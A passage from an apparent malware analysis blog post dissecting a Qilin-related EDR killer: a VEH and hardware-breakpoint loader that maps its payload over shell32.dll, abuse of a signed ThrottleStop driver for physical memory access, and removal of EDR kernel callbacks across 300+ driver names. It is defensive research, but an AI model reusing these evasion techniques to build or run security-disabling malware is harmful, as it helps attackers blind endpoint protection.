pre-wrap;">Figure 24. Decompressed buffer.</span></figcaption></figure><p>After the PE image has been decompressed, the final routine responsible for preparing, loading, and ultimately executing the PE can be found at 0x24A2CE7 in this run.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image26.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="634" height="103" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image26.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image26.png 634w"><figcaption><span style="white-space: pre-wrap;">Figure 25. Final load and execution of the embedded PE.</span></figcaption></figure><p>The <code>fix_and_load_PE_set_VEH</code> function begins by mapping &#x201C;shell32.dll&#x201D; into the process address space using <code>NtCreateFile</code>, <code>NtCreateSection</code>, and <code>MapViewOfFile</code>. It then overwrites the in-memory contents of &#x201C;shell32.dll&#x201D; with the previously loaded PE image.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image27.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1504" height="1347" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image27.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image27.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image27.png 1504w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 26. Load &#x201C;shell32.dll&#x201D; into memory.</span></figcaption></figure><p>After copying the embedded and decoded PE image into memory, the code manually applies base relocations.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image28.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1108" height="564" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image28.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image28.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image28.png 1108w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 27. PE relocation.</span></figcaption></figure><p>After preparing the PE for in-memory execution, the loader employs a technique similar to Stage 2, but this time leveraging a vectored exception handler (VEH). After registering the VEH, it triggers the handler by setting a hardware breakpoint on <code>ntdll!NtOpenSection</code>. To indirectly invoke <code>NtOpenSection</code>, the loader subsequently loads a fake DLL via a call to the <code>LdrLoadDll</code> API. It appears that the malware author intentionally chose a name referencing a well-known security researcher, likely as a provocative touch.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image29.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1440" height="475" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image29.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image29.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image29.png 1440w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 28. Call to </span><code spellcheck="false" style="white-space: pre-wrap;"><span>LdrLoadDll</span></code><span style="white-space: pre-wrap;">.</span></figcaption></figure><p>After several intermediate steps, this results in a call to <code>NtOpenSection</code>, which triggers the previously configured hardware breakpoint and, in turn, invokes the VEH. The first time the VEH is triggered at <code>NtOpenSection</code>, it executes the code in Figure 29.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image30.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1320" height="852" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image30.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image30.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image30.png 1320w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 29. Malicious VEH, part 1: </span><code spellcheck="false" style="white-space: pre-wrap;"><span>NtOpenSection</span></code><span style="white-space: pre-wrap;"> handler.</span></figcaption></figure><p>It modifies the &#x201C;shell32.dll&#x201D; name in memory to &#x201C;hasherezade_[redacted].dll&#x201D;, then adjusts RIP in the context record to point to the next <code>ret</code> instruction (0xC3) within the <code>NtOpenSection</code> stub and sets a new hardware breakpoint on <code>NtMapViewOfSection</code>. In addition, it updates the stack pointer to reference <code>LdrpMinimalMapModule+offset</code>, where the offset corresponds to an instruction immediately following a call to <code>NtOpenSection</code> inside <code>LdrpMinimalMapModule</code>. It then invokes <code>NtContinue</code>, which resumes execution at the RIP value stored in the context record (i.e., at the <code>ret</code> instruction). That <code>ret</code> instruction subsequently transfers control to the address prepared on the stack, namely <code>LdrpMinimalMapModule+offset</code>.</p><p><code>cr_1-&gt;rsp = LdrpMinimalMapModule+offset<br>cr_1-&gt;rip = ntdll!NtOpenSection+0x14 = ret ; jumps to &lt;rsp&gt; when executed</code></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image31.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1072" height="81" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image31.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image31.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image31.png 1072w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 30. Jump destination after calling </span><code spellcheck="false" style="white-space: pre-wrap;"><span>NtOpenSection</span></code><span style="white-space: pre-wrap;">.</span></figcaption></figure><p>During execution of <code>LdrpMinimalMapModule</code>, a call to <code>NtMapViewOfSection</code> is made, which triggers the hardware breakpoint set by the previous routine. On this occasion, the VEH executes the code in Figure 31.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image32.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1204" height="1347" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image32.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image32.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image32.png 1204w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 31. Malicious VEH, part 2: </span><code spellcheck="false" style="white-space: pre-wrap;"><span>NtMapViewOfSection</span></code><span style="white-space: pre-wrap;"> handler.</span></figcaption></figure><p>It deletes all HW breakpoints and then sets the stackpointer to an address which points to an address in <code>LdrMinimalMapModule+offset</code>. As expected, this is right after a call to <code>NtMapViewOfSection</code>. In other words, the registers in the context are overwritten like this:<br><br><code>ctx-&gt;rsp -&gt; ntdll!LdrpMinimalMapModule+0x23b<br>ctx-&gt;rip -&gt; ntdll!NtMapViewOfSection+0x14 = ret</code><br><br>When the return (ret) instruction is reached, it jumps to the address stored in the stack pointer (rsp).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image33.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1103" height="77" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image33.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image33.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image33.png 1103w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 32. Jump destination after </span><code spellcheck="false" style="white-space: pre-wrap;"><span>call NtMapViewOfSection</span></code><span style="white-space: pre-wrap;">.</span></figcaption></figure><p>The subsequent code in <code>LdrpMinimalMapModule</code> maps the previously restored PE image into the process address space and prepares it for execution. Finally, control returns to 0x24A3C1E, the instruction immediately following the call that originally triggered the first hardware breakpoint.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image34.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="2000" height="95" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image34.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image34.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image34.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image34.png 2020w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 33. Instruction after the call to </span><code spellcheck="false" style="white-space: pre-wrap;"><span>LdrLoadDll</span></code><span style="white-space: pre-wrap;">.</span></figcaption></figure><p>After several additional fix-up steps, the loader transfers execution to Stage 4 (i.e., the loaded PE image).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image35.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="962" height="95" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image35.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image35.png 962w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 34. Final jump to loaded PE.</span></figcaption></figure><p>This PE file is an EDR killer capable of disabling over 300 different EDR drivers across a wide range of solutions. A detailed analysis of this component will be provided in the next section.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image36.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1066" height="1325" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image36.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image36.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image36.png 1066w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 35. Excerpt from the EDR driver list.</span></figcaption></figure><h3 id="pe-loader-summary">PE loader summary</h3><p>The first three stages of this binary implement a sophisticated and complex PE loader capable of bypassing common EDR solutions by evading user-mode hooks through carefully crafted SEH and VEH techniques. While these methods are not entirely novel, they remain effective and should be detectable by properly implemented EDR solutions.</p><p>The loader decrypts and executes an embedded PE payload in memory. In this campaign, the payload is an EDR killer capable of disabling over 300 different EDR products. This component will be analyzed in detail in the next section.</p><h2 id="edr-killer">EDR killer</h2><h3 id="stage-4-extracted-edr-killer-pe-file">Stage 4: Extracted EDR killer PE file</h3><p>Besides initialization, the first thing the extracted PE from Stage 3 does is check again if the system locale matches a list of post-Soviet countries and, if it does, it crashes. This is another indicator that former stages are just a custom PE loader, which could be used to load any PE the adversaries want. Otherwise, doing the same check again is not logical.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image37.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="584" height="220"><figcaption><span style="white-space: pre-wrap;">Figure 36. Malware geo-fencing function.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image38.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="947" height="676" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image38.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image38.png 947w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 37. List of blocked countries.</span></figcaption></figure><p>The malware then attempts to elevate its privileges and load a helper driver. This also implies that the process must be executed with administrative privileges.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image39.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1599" height="1044" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image39.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image39.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image39.png 1599w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 38. Privilege escalation and loading of helper driver.</span></figcaption></figure><p>The &#x201C;rwdrv.sys&#x201D; driver is a renamed version of &#x201C;ThrottleStop.sys&#x201D;, originally distributed by TechPowerUp LLC and signed with a valid digital certificate. It is legitimately used by tools such as GPU-Z and ThrottleStop. This is not the first observed abuse of this ; it has previously been leveraged in several malware campaigns.</p><p>Despite its benign origin, the driver exposes highly powerful functionality and can be loaded by arbitrary user-mode applications. Critically, it implements these capabilities without enforcing meaningful security checks, making it particularly attractive for abuse.</p><p>This driver exposes a low-level hardware access interface to user mode via input/output controls (IOCTLs). It allows a user-mode application to directly interact with system hardware.</p><p>The driver implements IOCTL handlers that provide the following capabilities:</p><ul><li>I/O port access<ul><li>Read from hardware ports (inb/inw/ind)</li><li>Write to hardware ports (outb/outw/outd)</li></ul></li><li>CPU Model Specific Register (MSR) access<ul><li>Read MSRs (__readmsr)</li><li>Write MSRs (__writemsr) with limited protection against modifying critical syscall/sysenter registers</li></ul></li><li>Physical memory/MMIO access<ul><li>Map arbitrary physical memory into kernel space using MmMapIoSpace</li><li>Create a user-mode mapping of the same memory using MmMapLockedPagesSpecifyCache</li><li>Maintain up to 256 active mappings per driver instance</li><li>Provide an IOCTL to release/unmap those mappings</li></ul></li><li>Direct physical memory access<ul><li>Read physical memory values</li><li>Write physical memory values</li></ul></li><li>PCI configuration space access<ul><li>Read PCI configuration registers (HalGetBusDataByOffset)</li><li>Write PCI configuration registers (HalSetBusDataByOffset)</li></ul></li></ul><p>Additionally, the driver tracks the number of open handles and associates memory mappings with the calling process ID.</p><p>Overall, the driver functions as a generic kernel-mode hardware access layer, exposing primitives for port I/O, MSR access, physical memory mapping, and PCI configuration operations. Such functionality is typically used by hardware diagnostic tools, firmware utilities, or low-level system utilities, but it also provides powerful primitives that could be abused if accessible from unprivileged user-mode.</p><p>The two important functions heavily used by the sample are the ability to read and write physical memory.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image40.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1305" height="1087" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image40.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image40.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image40.png 1305w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 39. Read physical memory IOCTL.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image41.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1816" height="1223" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image41.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image41.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image41.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image41.png 1816w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 40. Write physical memory IOCTL.</span></figcaption></figure><p>After loading the driver, the malware proceeds to determine the Windows version. To do so, it first resolves the required API function using a PEB-based lookup routine, a technique consistently employed throughout the sample.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image42.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="984" height="965" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image42.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image42.png 984w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 41. DLL resolution.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image43.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1959" height="439" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image43.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image43.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image43.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image43.png 1959w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 42. API function resolution.</span></figcaption></figure><p>The implementation parses the Process Environment Block (PEB) and locates the target module by finding the hash of its name. Then the <code>ResolveExportByHash</code> function takes the module base from the previously found DLL and parses its PE header to find the function that corresponds to the function hash. It can either provide the API function address as an PE offset or as a virtual address.</p><p>After a couple of initializations and checks, it gets the &#x201C;rwdrv.sys&#x201D; handle, followed by the EDR-related part of the sample &#x2014; the kernel tricks which are responsible for avoiding, blinding, and disabling the EDR.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image44.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="2000" height="190" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image44.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image44.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image44.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image44.png 2082w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 43. Get driver handle for &#x201C;rwdrv.sys&#x201D;.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image45.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="2000" height="1166" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image45.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image45.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image45.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image45.png 2023w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 44. Overview of the EDR killer part of the sample.</span></figcaption></figure><p>However, let&#x2019;s have a brief look into the details. It starts with building a vector of physical memory pages. This vector will later be used in subsequent methods.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image46.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1883" height="372" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image46.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image46.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image46.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image46.png 1883w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 45. Initialization logic of the Page Frame Number (PFN) metadata list.</span></figcaption></figure><p>The <code>SetMemLayoutPointer </code>function in the if statement above leverages the <code>NtQuerySystemInformation</code> API function to gather the Superfetch information about the physical memory pages. It stores a pointer to this information in global variables (<code>mem_layout_v1_ptr</code> or <code>mem_layout_v2_ptr</code>). Which one is used depends on the version variable which is the argument handed over to the function. In our case, <code>1</code> is for calling the function the first time and <code>2</code> is for the second time. In other words, it brute-forces whichever version works for the Windows system it is running on.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image47-48-1.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="2000" height="613" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image47-48-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image47-48-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image47-48-1.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/03/image47-48-1.png 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 46. Superfetch structure and </span><code spellcheck="false" style="white-space: pre-wrap;"><span>NtQuerySystemInformation</span></code><span style="white-space: pre-wrap;"> call.</span></figcaption></figure><p>The <code>BuildSuperfetchPfnMetadataList</code> function is quite large and complex. Simplified, it starts by using the <code>mem_layout</code> pointer to calculate the total page count.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image49.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1911" height="772" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image49.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image49.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image49.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image49.png 1911w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 47. Total Page count algorithm.</span></figcaption></figure><p>It then ends by using <code>NtQuerySystemInformation</code> again to get the physical pages and their meta data to store this information in a global vector (<code>g_PfnVector</code>).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image50.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1292" height="116" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image50.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image50.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image50.png 1292w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 48. Superfetch structure.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image51.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1882" height="868" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image51.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image51.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image51.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image51.png 1882w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 49. Build global physical memory list Vector.</span></figcaption></figure><p>Back to the block from the above, the next step blinds the EDRs by deleting their callbacks for certain operations (e.g., process creation, thread creation, and image loading events).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image52.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1403" height="249" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image52.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image52.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image52.png 1403w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 50. Deleting EDR callbacks.</span></figcaption></figure><p>The <code>unregister_callbacks</code> function iterates through a list of over 300 driver names which are stored in the sample.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image53.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1106" height="302" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image53.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image53.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image53.png 1106w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 51. EDR driver name list.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image54.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="2000" height="1291" 